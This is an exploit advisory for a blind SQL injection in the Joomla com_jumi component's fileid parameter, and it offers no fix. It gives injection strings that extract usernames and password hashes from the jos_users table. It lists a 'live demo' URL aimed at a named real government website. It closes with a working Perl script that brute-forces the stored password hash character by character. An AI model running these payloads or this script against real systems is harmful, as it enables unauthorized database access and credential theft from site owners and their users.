Joomla Component com_jumi (fileid) Blind SQL Injection Exploit

2009-06-15 23:33:58

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Joomla Component com_jumi (fileid) Blind SQL-injection Vulnerability
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#####################################################
# [+] Author : Chip D3 Bi0s #
# [+] Email : chipdebios[alt+64]gmail.com #
# [+] Vulnerability : Blind SQL injection #
#####################################################



Example:
http://localHost/path/index.php?option=com_jumi&fileid=n<Sql Code>

n=number fileid valid

<Sql code>:
'+and+(select+substring(concat(1,password),1,1)+from+jos_users+limit+0,1)=1/*
'+and+(select+substring(concat(1,username),1,1)+from+jos_users+limit+0,1)=1/*
/index.php?option=com_jumi&fileid=2'+and+(select+substring(concat(1,username),1,1)+from+jos_users+limit+0,1)=1/*
etc, etc...

DEMO LIVE:
http://www.elciudadano.gov.ec/index.php?option=com_jumi&fileid=2'+and+ascii(substring((SELECT+concat(username,0x3a,password)+from+jos_users+limit+0,1),1,1))=101/*

etc, etc....

+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++

if you want to save the work, you can use the following script

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#!/usr/bin/perl -w

use LWP::UserAgent;


print "\t\t-------------------------------------------------------------\n\n";
print "\t\t | Chip d3 Bi0s | \n\n";
print "\t\t Joomla Component com_jumi (fileid) Blind SQL-injection \n\n";
print "\t\t-----------------------------------------------------------------\n\n";




print "http://wwww.host.org/Path: ";
chomp(my $target=<STDIN>);
print " [-] Introduce fileid: ";
chomp($z=<STDIN>);

print " [+] Password: ";

$column_name="concat(password)";
$table_name="jos_users";


$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');


for ($x=1;$x<=32;$x++) #x limit referido a la posicion del caracter
{ #c referido a ascci 48-57, 97-102




for ($c=48;$c<=57;$c++)

{
$host = $target . "/index.php?option=com_jumi&fileid=".$z."'+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+limit+0,1),".$x.",1))=".$c."/*";
my $res = $b->request(HTTP::Request->new(GET=>$host));
my $content = $res->content;
my $regexp = "com_";
# print "limit:";
# print "$x";
# print "; assci:";
# print "$c;";
if ($content =~ /$regexp/) {$char=chr($c); print "$char";}
}





for ($c=97;$c<=102;$c++)
{



$host = $target . "/index.php?option=com_jumi&fileid=".$z."'+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+limit+0,1),".$x.",1))=".$c."/*";
my $res = $b->request(HTTP::Request->new(GET=>$host));
my $content = $res->content;
my $regexp = "com_";
# print "limit:";
# print "$x";
# print "; assci:";
# print "$c;";
if ($content =~ /$regexp/) {$char=chr($c); print "$char";}
}


}

#

Fixes

No fixes

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